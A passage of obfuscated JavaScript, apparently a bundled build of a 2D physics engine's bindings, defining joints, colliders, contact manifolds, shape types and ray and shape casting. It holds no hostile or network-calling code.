_0x5e6cf1(_0x1c024b, _0x21c3a3); case _0xb03f97['Prismatic']: return new _0x9f39b6(_0x1c024b, _0x21c3a3); case _0xb03f97['Fixed']: return new _0x24db31(_0x1c024b, _0x21c3a3); default: return new _0x24ef4a(_0x1c024b, _0x21c3a3); } } ['isValid']() { return this['rawSet']['contains'](this['handle']); } ['setContactsEnabled'](_0x2b4317) { this['rawSet']['jointSetContactsEnabled'](this['handle'], _0x2b4317); } ['contactsEnabled']() { return this['rawSet']['jointContactsEnabled'](this['handle']); } } class _0x5dd5ca extends _0x24ef4a { } class _0x24db31 extends _0x24ef4a { } class _0x9f39b6 extends _0x5dd5ca { ['rawAxis']() { return _0x313a6c['X']; } } class _0x5e6cf1 extends _0x5dd5ca { ['rawAxis']() { return _0x313a6c['AngX']; } } class _0x312564 { constructor(_0x4b3782) { this['raw'] = _0x4b3782 || new _0x5d41d9(), this['map'] = new _0x112f9f(), _0x4b3782 && _0x4b3782['forEachJointHandle'](_0x2ad0ba => { this['map']['set'](_0x2ad0ba, _0x24ef4a['newTyped'](this['raw'], _0x2ad0ba)); }); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0, this['map'] && this['map']['clear'](), this['map'] = void 0x0; } ['createJoint'](_0x548b84, _0x20d099, _0x3a52ff, _0x4d186d) { const _0x25d6a6 = _0x548b84['intoRaw'](), _0x5da8aa = this['raw']['createJoint'](_0x25d6a6, _0x20d099, _0x3a52ff, _0x4d186d); _0x25d6a6['free'](); let _0x4aa4ad = _0x24ef4a['newTyped'](this['raw'], _0x5da8aa); return this['map']['set'](_0x5da8aa, _0x4aa4ad), _0x4aa4ad; } ['remove'](_0x21c3e2, _0x9e4a80) { this['raw']['remove'](_0x21c3e2, _0x9e4a80), this['map']['delete'](_0x21c3e2); } ['unmap'](_0x41ce6a) { this['map']['delete'](_0x41ce6a); } ['len']() { return this['map']['len'](); } ['contains'](_0x554839) { return null != this['get'](_0x554839); } ['get'](_0x24cba8) { return this['map']['get'](_0x24cba8); } ['forEach'](_0x24e31c) { this['map']['forEach'](_0x24e31c); } ['forEachJointHandleAttachedToRigidBody'](_0xc28d82, _0x584b9d) { this['raw']['forEachJointAttachedToRigidBody'](_0xc28d82, _0x584b9d); } ['getAll']() { return this['map']['getAll'](); } } !function (_0x24af8e) { _0x24af8e[_0x24af8e['Average'] = 0x0] = 'Average', _0x24af8e[_0x24af8e['Min'] = 0x1] = 'Min', _0x24af8e[_0x24af8e['Multiply'] = 0x2] = 'Multiply', _0x24af8e[_0x24af8e['Max'] = 0x3] = 'Max'; }(_0x1de744 || (_0x1de744 = {})); class _0x3d82b0 { constructor(_0x538880) { this['raw'] = _0x538880 || new _0x4d94ea(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } } class _0x4040bd { constructor(_0x12a77c) { this['raw'] = _0x12a77c || new _0x1bc447(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } ['forEachActiveRigidBodyHandle'](_0x4f3adf) { this['raw']['forEachActiveRigidBodyHandle'](_0x4f3adf); } } class _0x1c8aa8 { constructor(_0x5ba0c6) { this['raw'] = _0x5ba0c6 || new _0x10d266(); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } } class _0xfe69a5 { constructor(_0x54b18d) { this['raw'] = _0x54b18d || new _0x201281(), this['tempManifold'] = new _0x4db266(null); } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } ['contactsWith'](_0x469b9b, _0x4f01b3) { this['raw']['contacts_with'](_0x469b9b, _0x4f01b3); } ['intersectionsWith'](_0x43d390, _0x38a6a0) { this['raw']['intersections_with'](_0x43d390, _0x38a6a0); } ['contactPair'](_0x5ef6a1, _0x180ff8, _0x4c61d3) { const _0x29cf39 = this['raw']['contact_pair'](_0x5ef6a1, _0x180ff8); if (_0x29cf39) { const _0x28269a = _0x29cf39['collider1']() != _0x5ef6a1; let _0x8087f7; for (_0x8087f7 = 0x0; _0x8087f7 < _0x29cf39['numContactManifolds'](); ++_0x8087f7)this['tempManifold']['raw'] = _0x29cf39['contactManifold'](_0x8087f7), this['tempManifold']['raw'] && _0x4c61d3(this['tempManifold'], _0x28269a), this['tempManifold']['free'](); _0x29cf39['free'](); } } ['intersectionPair'](_0x27556c, _0x54fd54) { return this['raw']['intersection_pair'](_0x27556c, _0x54fd54); } } class _0x4db266 { constructor(_0x4a8cd5) { this['raw'] = _0x4a8cd5; } ['free']() { this['raw'] && this['raw']['free'](), this['raw'] = void 0x0; } ['normal']() { return _0x3e685e['fromRaw'](this['raw']['normal']()); } ['localNormal1']() { return _0x3e685e['fromRaw'](this['raw']['local_n1']()); } ['localNormal2']() { return _0x3e685e['fromRaw'](this['raw']['local_n2']()); } ['subshape1']() { return this['raw']['subshape1'](); } ['subshape2']() { return this['raw']['subshape2'](); } ['numContacts']() { return this['raw']['num_contacts'](); } ['localContactPoint1'](_0x425081) { return _0x3e685e['fromRaw'](this['raw']['contact_local_p1'](_0x425081)); } ['localContactPoint2'](_0x19cca1) { return _0x3e685e['fromRaw'](this['raw']['contact_local_p2'](_0x19cca1)); } ['contactDist'](_0x4f059d) { return this['raw']['contact_dist'](_0x4f059d); } ['contactFid1'](_0xf144fc) { return this['raw']['contact_fid1'](_0xf144fc); } ['contactFid2'](_0x3deb1b) { return this['raw']['contact_fid2'](_0x3deb1b); } ['contactImpulse'](_0x3f9350) { return this['raw']['contact_impulse'](_0x3f9350); } ['contactTangentImpulse'](_0x2d8201) { return this['raw']['contact_tangent_impulse'](_0x2d8201); } ['numSolverContacts']() { return this['raw']['num_solver_contacts'](); } ['solverContactPoint'](_0xac4023) { return _0x3e685e['fromRaw'](this['raw']['solver_contact_point'](_0xac4023)); } ['solverContactDist'](_0x4372c1) { return this['raw']['solver_contact_dist'](_0x4372c1); } ['solverContactFriction'](_0x3f5386) { return this['raw']['solver_contact_friction'](_0x3f5386); } ['solverContactRestitution'](_0xb52bd9) { return this['raw']['solver_contact_restitution'](_0xb52bd9); } ['solverContactTangentVelocity'](_0x5b25a3) { return _0x3e685e['fromRaw'](this['raw']['solver_contact_tangent_velocity'](_0x5b25a3)); } } class _0x221492 { constructor(_0x2b90e0, _0x570073, _0x24423e, _0xe2c1e4, _0x1bda9e) { this['distance'] = _0x2b90e0, this['point1'] = _0x570073, this['point2'] = _0x24423e, this['normal1'] = _0xe2c1e4, this['normal2'] = _0x1bda9e; } static ['fromRaw'](_0x40f705) { if (!_0x40f705) return null; const _0x527fdf = new _0x221492(_0x40f705['distance'](), _0x3e685e['fromRaw'](_0x40f705['point1']()), _0x3e685e['fromRaw'](_0x40f705['point2']()), _0x3e685e['fromRaw'](_0x40f705['normal1']()), _0x3e685e['fromRaw'](_0x40f705['normal2']())); return _0x40f705['free'](), _0x527fdf; } } !function (_0x9cd079) { _0x9cd079[_0x9cd079['Vertex'] = 0x0] = 'Vertex', _0x9cd079[_0x9cd079['Face'] = 0x1] = 'Face', _0x9cd079[_0x9cd079['Unknown'] = 0x2] = 'Unknown'; }(_0x3dd9d3 || (_0x3dd9d3 = {})); class _0x4ada65 { constructor(_0x514295, _0x4c12de) { this['point'] = _0x514295, this['isInside'] = _0x4c12de; } static ['fromRaw'](_0x4bf6cb) { if (!_0x4bf6cb) return null; const _0x1b5365 = new _0x4ada65(_0x3e685e['fromRaw'](_0x4bf6cb['point']()), _0x4bf6cb['isInside']()); return _0x4bf6cb['free'](), _0x1b5365; } } class _0x56e8af { constructor(_0x390976, _0xb469e9, _0x4ce487, _0x58c728, _0x5742b3) { this['featureType'] = _0x3dd9d3['Unknown'], this['featureId'] = void 0x0, this['collider'] = _0x390976, this['point'] = _0xb469e9, this['isInside'] = _0x4ce487, void 0x0 !== _0x5742b3 && (this['featureId'] = _0x5742b3), void 0x0 !== _0x58c728 && (this['featureType'] = _0x58c728); } static ['fromRaw'](_0x26cdf8, _0x2d1f2d) { if (!_0x2d1f2d) return null; const _0x5259cd = new _0x56e8af(_0x26cdf8['get'](_0x2d1f2d['colliderHandle']()), _0x3e685e['fromRaw'](_0x2d1f2d['point']()), _0x2d1f2d['isInside'](), _0x2d1f2d['featureType'](), _0x2d1f2d['featureId']()); return _0x2d1f2d['free'](), _0x5259cd; } } class _0x3c6bc4 { constructor(_0x3cc38a, _0x1f58ba) { this['origin'] = _0x3cc38a, this['dir'] = _0x1f58ba; } ['pointAt'](_0x488b48) { return { 'x': this['origin']['x'] + this['dir']['x'] * _0x488b48, 'y': this['origin']['y'] + this['dir']['y'] * _0x488b48 }; } } class _0x2e41b3 { constructor(_0x2a0fe6, _0x219131, _0x30d71d, _0x2f5abb) { this['featureType'] = _0x3dd9d3['Unknown'], this['featureId'] = void 0x0, this['toi'] = _0x2a0fe6, this['normal'] = _0x219131, void 0x0 !== _0x2f5abb && (this['featureId'] = _0x2f5abb), void 0x0 !== _0x30d71d && (this['featureType'] = _0x30d71d); } static ['fromRaw'](_0x41945d) { if (!_0x41945d) return null; const _0x26467b = new _0x2e41b3(_0x41945d['toi'](), _0x3e685e['fromRaw'](_0x41945d['normal']()), _0x41945d['featureType'](), _0x41945d['featureId']()); return _0x41945d['free'](), _0x26467b; } } class _0x4cbd10 { constructor(_0x36a989, _0x5d76c8, _0x192a89, _0x3e00a8, _0x476909) { this['featureType'] = _0x3dd9d3['Unknown'], this['featureId'] = void 0x0, this['collider'] = _0x36a989, this['toi'] = _0x5d76c8, this['normal'] = _0x192a89, void 0x0 !== _0x476909 && (this['featureId'] = _0x476909), void 0x0 !== _0x3e00a8 && (this['featureType'] = _0x3e00a8); } static ['fromRaw'](_0x135edf, _0x141f03) { if (!_0x141f03) return null; const _0x3f5b09 = new _0x4cbd10(_0x135edf['get'](_0x141f03['colliderHandle']()), _0x141f03['toi'](), _0x3e685e['fromRaw'](_0x141f03['normal']()), _0x141f03['featureType'](), _0x141f03['featureId']()); return _0x141f03['free'](), _0x3f5b09; } } class _0x3b0073 { constructor(_0x565a46, _0xc2b034) { this['collider'] = _0x565a46, this['toi'] = _0xc2b034; } static ['fromRaw'](_0x5ebb86, _0x2a7af1) { if (!_0x2a7af1) return null; const _0x5ddb68 = new _0x3b0073(_0x5ebb86['get'](_0x2a7af1['colliderHandle']()), _0x2a7af1['toi']()); return _0x2a7af1['free'](), _0x5ddb68; } } class _0x30e484 { constructor(_0x4a876b, _0x3b2f81, _0x11017c, _0xf7677b, _0x525bdd) { this['toi'] = _0x4a876b, this['witness1'] = _0x3b2f81, this['witness2'] = _0x11017c, this['normal1'] = _0xf7677b, this['normal2'] = _0x525bdd; } static ['fromRaw'](_0x32984d, _0x25ce8d) { if (!_0x25ce8d) return null; const _0x21cf95 = new _0x30e484(_0x25ce8d['toi'](), _0x3e685e['fromRaw'](_0x25ce8d['witness1']()), _0x3e685e['fromRaw'](_0x25ce8d['witness2']()), _0x3e685e['fromRaw'](_0x25ce8d['normal1']()), _0x3e685e['fromRaw'](_0x25ce8d['normal2']())); return _0x25ce8d['free'](), _0x21cf95; } } class _0x4929cd extends _0x30e484 { constructor(_0x35f381, _0x567738, _0x3bf0b8, _0xc064b9, _0x49ecf1, _0x2c0dd9) { super(_0x567738, _0x3bf0b8, _0xc064b9, _0x49ecf1, _0x2c0dd9), this['collider'] = _0x35f381; } static ['fromRaw'](_0x1ee0ac, _0x3f446a) { if (!_0x3f446a) return null; const _0x4a48c3 = new _0x4929cd(_0x1ee0ac['get'](_0x3f446a['colliderHandle']()), _0x3f446a['toi'](), _0x3e685e['fromRaw'](_0x3f446a['witness1']()), _0x3e685e['fromRaw'](_0x3f446a['witness2']()), _0x3e685e['fromRaw'](_0x3f446a['normal1']()), _0x3e685e['fromRaw'](_0x3f446a['normal2']())); return _0x3f446a['free'](), _0x4a48c3; } } class _0x34daab { static ['fromRaw'](_0x41412f, _0x10c786) { const _0x201fa4 = _0x41412f['coShapeType'](_0x10c786); let _0x10ae76, _0x3c45f0, _0x1c40ba, _0x62b1ab, _0x50de27, _0x2054a8, _0x1a16e3; switch (_0x201fa4) { case _0x4aba84['Ball']: return new _0x391e77(_0x41412f['coRadius'](_0x10c786)); case _0x4aba84['Cuboid']: return _0x10ae76 = _0x41412f['coHalfExtents'](_0x10c786), new _0x295669(_0x10ae76['x'], _0x10ae76['y']); case _0x4aba84['RoundCuboid']: return _0x10ae76 = _0x41412f['coHalfExtents'](_0x10c786), _0x3c45f0 = _0x41412f['coRoundRadius'](_0x10c786), new _0x3f9345(_0x10ae76['x'], _0x10ae76['y'], _0x3c45f0); case _0x4aba84['Capsule']: return _0x50de27 = _0x41412f['coHalfHeight'](_0x10c786), _0x2054a8 = _0x41412f['coRadius'](_0x10c786), new _0x3701b1(_0x50de27, _0x2054a8); case _0x4aba84['Segment']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), new _0x59b7f0(_0x3e685e['new'](_0x1c40ba[0x0], _0x1c40ba[0x1]), _0x3e685e['new'](_0x1c40ba[0x2], _0x1c40ba[0x3])); case _0x4aba84['Polyline']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), _0x62b1ab = _0x41412f['coIndices'](_0x10c786), new _0x2938f9(_0x1c40ba, _0x62b1ab); case _0x4aba84['Triangle']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), new _0x18340d(_0x3e685e['new'](_0x1c40ba[0x0], _0x1c40ba[0x1]), _0x3e685e['new'](_0x1c40ba[0x2], _0x1c40ba[0x3]), _0x3e685e['new'](_0x1c40ba[0x4], _0x1c40ba[0x5])); case _0x4aba84['RoundTriangle']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), _0x3c45f0 = _0x41412f['coRoundRadius'](_0x10c786), new _0x51504a(_0x3e685e['new'](_0x1c40ba[0x0], _0x1c40ba[0x1]), _0x3e685e['new'](_0x1c40ba[0x2], _0x1c40ba[0x3]), _0x3e685e['new'](_0x1c40ba[0x4], _0x1c40ba[0x5]), _0x3c45f0); case _0x4aba84['HalfSpace']: return _0x1a16e3 = _0x3e685e['fromRaw'](_0x41412f['coHalfspaceNormal'](_0x10c786)), new _0x3a6d6c(_0x1a16e3); case _0x4aba84['TriMesh']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), _0x62b1ab = _0x41412f['coIndices'](_0x10c786), new _0x16b4c2(_0x1c40ba, _0x62b1ab); case _0x4aba84['HeightField']: const _0x29b280 = _0x41412f['coHeightfieldScale'](_0x10c786), _0x3cafc5 = _0x41412f['coHeightfieldHeights'](_0x10c786); return new _0x4a437c(_0x3cafc5, _0x29b280); case _0x4aba84['ConvexPolygon']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), new _0x58a1ae(_0x1c40ba, !0x1); case _0x4aba84['RoundConvexPolygon']: return _0x1c40ba = _0x41412f['coVertices'](_0x10c786), _0x3c45f0 = _0x41412f['coRoundRadius'](_0x10c786), new _0x536869(_0x1c40ba, _0x3c45f0, !0x1); default: throw new Error('unknown\x20shape\x20type:\x20' + _0x201fa4); } } ['castShape'](_0x4c22bc, _0x34b65, _0x10627b, _0x46e6d8, _0x2cd789, _0x53cdeb, _0x5821b0, _0x5a971d, _0x4c5aed) { let _0x15e708 = _0x3e685e['intoRaw'](_0x4c22bc), _0x5003f0 = _0x36d6e2['intoRaw'](_0x34b65), _0x31617b = _0x3e685e['intoRaw'](_0x10627b), _0x53f057 = _0x3e685e['intoRaw'](_0x2cd789), _0x183215 = _0x36d6e2['intoRaw'](_0x53cdeb), _0x5b6a8c = _0x3e685e['intoRaw'](_0x5821b0), _0x547d44 = this['intoRaw'](), _0x4965e9 = _0x46e6d8['intoRaw'](), _0x478a8d = _0x30e484['fromRaw'](null, _0x547d44['castShape'](_0x15e708, _0x5003f0, _0x31617b, _0x4965e9, _0x53f057, _0x183215, _0x5b6a8c, _0x5a971d, _0x4c5aed)); return _0x15e708['free'](), _0x5003f0['free'](), _0x31617b['free'](), _0x53f057['free'](), _0x183215['free'](), _0x5b6a8c['free'](), _0x547d44['free'](), _0x4965e9['free'](), _0x478a8d; } ['intersectsShape'](_0x9d351f, _0x220e3b, _0x484837, _0x1b21ea, _0xaa8332) { let _0x3d7cd1 = _0x3e685e['intoRaw'](_0x9d351f), _0x120f50 = _0x36d6e2['intoRaw'](_0x220e3b), _0x12dca3 = _0x3e685e['intoRaw'](_0x1b21ea), _0x2419cb = _0x36d6e2['intoRaw'](_0xaa8332), _0x2e49cd = this['intoRaw'](), _0x4368e8 = _0x484837['intoRaw'](), _0x1e596b = _0x2e49cd['intersectsShape'](_0x3d7cd1, _0x120f50, _0x4368e8, _0x12dca3, _0x2419cb); return _0x3d7cd1['free'](), _0x120f50['free'](), _0x12dca3['free'](), _0x2419cb['free'](), _0x2e49cd['free'](), _0x4368e8['free'](), _0x1e596b; } ['contactShape'](_0x7b0ad2, _0x3b8335, _0x5f4afe, _0x528819, _0x2d1ef3, _0x2ecd93) { let _0x42e41c = _0x3e685e['intoRaw'](_0x7b0ad2), _0x4871f4 = _0x36d6e2['intoRaw'](_0x3b8335), _0x2f7b75 = _0x3e685e['intoRaw'](_0x528819), _0x458fca = _0x36d6e2['intoRaw'](_0x2d1ef3), _0xc95cd9 = this['intoRaw'](), _0x5ba94b = _0x5f4afe['intoRaw'](), _0x538538 = _0x221492['fromRaw'](_0xc95cd9['contactShape'](_0x42e41c, _0x4871f4, _0x5ba94b, _0x2f7b75, _0x458fca, _0x2ecd93)); return _0x42e41c['free'](), _0x4871f4['free'](), _0x2f7b75['free'](), _0x458fca['free'](), _0xc95cd9['free'](), _0x5ba94b['free'](), _0x538538; } ['containsPoint'](_0x4d11ba, _0x831aaf, _0x569dfb) { let _0x5d6fde = _0x3e685e['intoRaw'](_0x4d11ba), _0x5113a6 = _0x36d6e2['intoRaw'](_0x831aaf), _0x38e6a4 = _0x3e685e['intoRaw'](_0x569dfb), _0x436ea5 = this['intoRaw'](), _0x4eda81 = _0x436ea5['containsPoint'](_0x5d6fde, _0x5113a6, _0x38e6a4); return _0x5d6fde['free'](), _0x5113a6['free'](), _0x38e6a4['free'](), _0x436ea5['free'](), _0x4eda81; } ['projectPoint'](_0x18ffa1, _0x168036, _0x3cb18b, _0x111e5a) { let _0x5953c8 = _0x3e685e['intoRaw'](_0x18ffa1), _0x360329 = _0x36d6e2['intoRaw'](_0x168036), _0x388d97 = _0x3e685e['intoRaw'](_0x3cb18b), _0x53c6f6 = this['intoRaw'](), _0x1ba6b8 = _0x4ada65['fromRaw'](_0x53c6f6['projectPoint'](_0x5953c8, _0x360329, _0x388d97, _0x111e5a)); return _0x5953c8['free'](), _0x360329['free'](), _0x388d97['free'](), _0x53c6f6['free'](), _0x1ba6b8; } ['intersectsRay'](_0x1d5bf6, _0x243d63, _0xcea080, _0x2cd58d) { let _0x464cee = _0x3e685e['intoRaw'](_0x243d63), _0x4e8e94 = _0x36d6e2['intoRaw'](_0xcea080), _0x397973 = _0x3e685e['intoRaw'](_0x1d5bf6['origin']), _0x362cf1 = _0x3e685e['intoRaw'](_0x1d5bf6['dir']), _0x344762 = this['intoRaw'](), _0x3f8bf4 = _0x344762['intersectsRay'](_0x464cee, _0x4e8e94, _0x397973, _0x362cf1, _0x2cd58d); return _0x464cee['free'](), _0x4e8e94['free'](), _0x397973['free'](), _0x362cf1['free'](), _0x344762['free'](), _0x3f8bf4; } ['castRay'](_0x419667, _0x46da06, _0x433e69, _0x1e6142, _0x43d1f4) { let _0x59b5dc = _0x3e685e['intoRaw'](_0x46da06), _0xa05a2b = _0x36d6e2['intoRaw'](_0x433e69), _0x48a6c7 = _0x3e685e['intoRaw'](_0x419667['origin']), _0x363e0d = _0x3e685e['intoRaw'](_0x419667['dir']), _0x5e0900 = this['intoRaw'](), _0x1c27ca = _0x5e0900['castRay'](_0x59b5dc, _0xa05a2b, _0x48a6c7, _0x363e0d, _0x1e6142, _0x43d1f4); return _0x59b5dc['free'](), _0xa05a2b['free'](), _0x48a6c7['free'](), _0x363e0d['free'](), _0x5e0900['free'](), _0x1c27ca; } ['castRayAndGetNormal'](_0x454cd8, _0x49bd0c, _0x300163, _0x2a1a5f, _0x43a59b) { let _0x27fd2a = _0x3e685e['intoRaw'](_0x49bd0c), _0x1c37cc = _0x36d6e2['intoRaw'](_0x300163), _0x223410 = _0x3e685e['intoRaw'](_0x454cd8['origin']), _0x1326a2 = _0x3e685e['intoRaw'](_0x454cd8['dir']), _0x11fb24 = this['intoRaw'](), _0x25810a = _0x2e41b3['fromRaw'](_0x11fb24['castRayAndGetNormal'](_0x27fd2a, _0x1c37cc, _0x223410, _0x1326a2, _0x2a1a5f, _0x43a59b)); return _0x27fd2a['free'](), _0x1c37cc['free'](), _0x223410['free'](), _0x1326a2['free'](), _0x11fb24['free'](), _0x25810a; } } !function (_0x93967d) { _0x93967d[_0x93967d['Ball'] = 0x0] = 'Ball', _0x93967d[_0x93967d['Cuboid'] = 0x1] = 'Cuboid', _0x93967d[_0x93967d['Capsule'] = 0x2] = 'Capsule', _0x93967d[_0x93967d['Segment'] = 0x3] = 'Segment', _0x93967d[_0x93967d['Polyline'] = 0x4] = 'Polyline', _0x93967d[_0x93967d['Triangle'] = 0x5] = 'Triangle', _0x93967d[_0x93967d['TriMesh'] = 0x6] = 'TriMesh', _0x93967d[_0x93967d['HeightField'] = 0x7] = 'HeightField', _0x93967d[_0x93967d['ConvexPolygon'] = 0x9] = 'ConvexPolygon', _0x93967d[_0x93967d['RoundCuboid'] = 0xa] = 'RoundCuboid', _0x93967d[_0x93967d['RoundTriangle'] = 0xb] = 'RoundTriangle', _0x93967d[_0x93967d['RoundConvexPolygon'] = 0xc] = 'RoundConvexPolygon', _0x93967d[_0x93967d['HalfSpace'] = 0xd] = 'HalfSpace'; }(_0x4aba84 || (_0x4aba84 = {})); class _0x391e77 extends _0x34daab { constructor(_0x59c2cd) { super(), this['type'] = _0x4aba84['Ball'], this['radius'] = _0x59c2cd; } ['intoRaw']() { return _0x141742['ball'](this['radius']); } } class _0x3a6d6c extends _0x34daab { constructor(_0x67d9be) { super(), this['type'] = _0x4aba84['HalfSpace'], this['normal'] = _0x67d9be; } ['intoRaw']() { let _0x53f28e = _0x3e685e['intoRaw'](this['normal']), _0x526cc5 = _0x141742['halfspace'](_0x53f28e); return _0x53f28e['free'](), _0x526cc5; } } class _0x295669 extends _0x34daab { constructor(_0x241445, _0x9b19af) { super(), this['type'] = _0x4aba84['Cuboid'], this['halfExtents'] = _0x3e685e['new'](_0x241445, _0x9b19af); } ['intoRaw']() { return _0x141742['cuboid'](this['halfExtents']['x'], this['halfExtents']['y']); } } class _0x3f9345 extends _0x34daab { constructor(_0x5e6e4b, _0x345c1c, _0x4f6b61) { super(), this['type'] = _0x4aba84['RoundCuboid'], this['halfExtents'] = _0x3e685e['new'](_0x5e6e4b, _0x345c1c), this['borderRadius'] = _0x4f6b61; } ['intoRaw']() { return _0x141742['roundCuboid'](this['halfExtents']['x'], this['halfExtents']['y'], this['borderRadius']); } } class _0x3701b1 extends _0x34daab { constructor(_0xacab75, _0x439ba7) { super(), this['type'] = _0x4aba84['Capsule'], this['halfHeight'] = _0xacab75, this['radius'] = _0x439ba7; } ['intoRaw']() { return _0x141742['capsule'](this['halfHeight'], this['radius']); } } class _0x59b7f0 extends _0x34daab { constructor(_0x3dd271, _0x3e99b8) { super(), this['type'] = _0x4aba84['Segment'], this['a'] = _0x3dd271, this['b'] = _0x3e99b8; } ['intoRaw']() { let _0x5abeab = _0x3e685e['intoRaw'](this['a']), _0x217c55 = _0x3e685e['intoRaw'](this['b']), _0x403b93 = _0x141742['segment'](_0x5abeab, _0x217c55); return _0x5abeab['free'](), _0x217c55['free'](), _0x403b93; } } class _0x18340d extends _0x34daab { constructor(_0x1cf0c8, _0x42b8b0, _0x48660c) { super(), this['type'] = _0x4aba84['Triangle'], this['a'] = _0x1cf0c8, this['b'] = _0x42b8b0, this['c'] = _0x48660c; } ['intoRaw']() { let _0x4ab477 = _0x3e685e['intoRaw'](this['a']), _0x495266 = _0x3e685e['intoRaw'](this['b']), _0x213a6d = _0x3e685e['intoRaw'](this['c']), _0x24d8d3 = _0x141742['triangle'](_0x4ab477, _0x495266, _0x213a6d); return _0x4ab477['free'](), _0x495266['free'](), _0x213a6d['free'](), _0x24d8d3; } } class _0x51504a extends _0x34daab { constructor(_0x498b9b, _0x251715, _0x495aa0, _0x1c774a) { super(), this['type'] = _0x4aba84['RoundTriangle'], this['a'] = _0x498b9b, this['b'] = _0x251715, this['c'] = _0x495aa0, this['borderRadius'] = _0x1c774a; } ['intoRaw']() { let _0x272c6f = _0x3e685e['intoRaw'](this['a']), _0x5d2de5 = _0x3e685e['intoRaw'](this['b']), _0x1b0e41 = _0x3e685e['intoRaw'](this['c']), _0x5f3366 = _0x141742['roundTriangle'](_0x272c6f, _0x5d2de5, _0x1b0e41, this['borderRadius']); return _0x272c6f['free'](), _0x5d2de5['free'](), _0x1b0e41['free'](), _0x5f3366; } } class _0x2938f9 extends _0x34daab { constructor(_0xdad4d9, _0x18e343) { super(), this['type'] = _0x4aba84['Polyline'], this['vertices'] = _0xdad4d9, this['indices'] = null != _0x18e343 ? _0x18e343 : new Uint32Array(0x0); } ['intoRaw']() { return _0x141742['polyline'](this['vertices'], this['indices']); } } class _0x16b4c2 extends _0x34daab { constructor(_0x39d438, _0x3cc9ab) { super(), this['type'] = _0x4aba84['TriMesh'], this['vertices'] = _0x39d438, this['indices'] = _0x3cc9ab; } ['intoRaw']() { return _0x141742['trimesh'](this['vertices'], this['indices']); } } class _0x58a1ae extends _0x34daab { constructor(_0x10a22c, _0x1393d4) { super(), this['type'] = _0x4aba84['ConvexPolygon'], this['vertices'] = _0x10a22c, this['skipConvexHullComputation'] = !!_0x1393d4; } ['intoRaw']() { return this['skipConvexHullComputation'] ? _0x141742['convexPolyline'](this['vertices']) : _0x141742['convexHull'](this['vertices']); } } class _0x536869 extends _0x34daab { constructor(_0x4eb208, _0x4f2b63, _0x21b840) { super(), this['type'] = _0x4aba84['RoundConvexPolygon'], this['vertices'] = _0x4eb208, this['borderRadius'] = _0x4f2b63, this['skipConvexHullComputation'] = !!_0x21b840; } ['intoRaw']() { return this['skipConvexHullComputation'] ? _0x141742['roundConvexPolyline'](this['vertices'], this['borderRadius']) : _0x141742['roundConvexHull'](this['vertices'], this['borderRadius']); } } class _0x4a437c extends _0x34daab { constructor(_0xf43e4e, _0x4e1bbc) { super(), this['type'] = _0x4aba84['HeightField'], this['heights'] = _0xf43e4e, this['scale'] = _0x4e1bbc; } ['intoRaw']() { let _0x22a775 = _0x3e685e['intoRaw'](this['scale']), _0x10b5bb = _0x141742['heightfield'](this['heights'], _0x22a775); return _0x22a775['free'](), _0x10b5bb; } } !function (_0x4ea37e) { _0x4ea37e[_0x4ea37e['DYNAMIC_DYNAMIC'] = 0x1] = 'DYNAMIC_DYNAMIC', _0x4ea37e[_0x4ea37e['DYNAMIC_KINEMATIC'] = 0xc] = 'DYNAMIC_KINEMATIC', _0x4ea37e[_0x4ea37e['DYNAMIC_FIXED'] = 0x2] = 'DYNAMIC_FIXED', _0x4ea37e[_0x4ea37e['KINEMATIC_KINEMATIC'] = 0xcc00] = 'KINEMATIC_KINEMATIC', _0x4ea37e[_0x4ea37e['KINEMATIC_FIXED'] = 0x2200] = 'KINEMATIC_FIXED', _0x4ea37e[_0x4ea37e['FIXED_FIXED'] = 0x20] = 'FIXED_FIXED', _0x4ea37e[_0x4ea37e['DEFAULT'] = 0xf] = 'DEFAULT', _0x4ea37e[_0x4ea37e['ALL'] = 0xee0f] = 'ALL'; }(_0x4ba6f5 || (_0x4ba6f5 = {})); class _0x2f9ba3 { constructor(_0x5d28bd, _0x43bb28, _0x5ae5d0, _0x4aacca) { this['colliderSet'] = _0x5d28bd, this['handle'] = _0x43bb28, this['_parent'] = _0x5ae5d0, this['_shape'] = _0x4aacca; } ['finalizeDeserialization'](_0x2d8964) { null != this['handle'] && (this['_parent'] = _0x2d8964['get'](this['colliderSet']['raw']['coParent'](this['handle']))); } ['ensureShapeIsCached']() { this['_shape'] || (this['_shape'] = _0x34daab['fromRaw'](this['colliderSet']['raw'], this['handle'])); } get ['shape']() { return this['ensureShapeIsCached'](), this['_shape']; } ['isValid']() { return this['colliderSet']['raw']['contains'](this['handle']); } ['translation']() { return _0x3e685e['fromRaw'](this['colliderSet']['raw']['coTranslation'](this['handle'])); } ['rotation']() { return _0x36d6e2['fromRaw'](this['colliderSet']['raw']['coRotation'](this['handle'])); } ['isSensor']() { return this['colliderSet']['raw']['coIsSensor'](this['handle']); } ['setSensor'](_0x5ab220) { this['colliderSet']['raw']['coSetSensor'](this['handle'], _0x5ab220); } ['setShape'](_0x726cb1) { let _0x4b02a7 = _0x726cb1['intoRaw'](); this['colliderSet']['raw']['coSetShape'](this['handle'], _0x4b02a7), _0x4b02a7['free'](), this['_shape'] = _0x726cb1; } ['setEnabled'](_0x3e29e5) { this['colliderSet']['raw']['coSetEnabled'](this['handle'], _0x3e29e5); } ['isEnabled']() { return this['colliderSet']['raw']['coIsEnabled'](this['handle']); } ['setRestitution'](_0x1eee14) { this['colliderSet']['raw']['coSetRestitution'](this['handle'], _0x1eee14); } ['setFriction'](_0x3ae9df) { this['colliderSet']['raw']['coSetFriction'](this['handle'], _0x3ae9df); } ['frictionCombineRule']() { return this['colliderSet']['raw']['coFrictionCombineRule'](this['handle']); } ['setFrictionCombineRule'](_0x2b71e8) { this['colliderSet']['raw']['coSetFrictionCombineRule'](this['handle'], _0x2b71e8); } ['restitutionCombineRule']() { return this['colliderSet']['raw']['coRestitutionCombineRule'](this['handle']); } ['setRestitutionCombineRule'](_0x17e98b) { 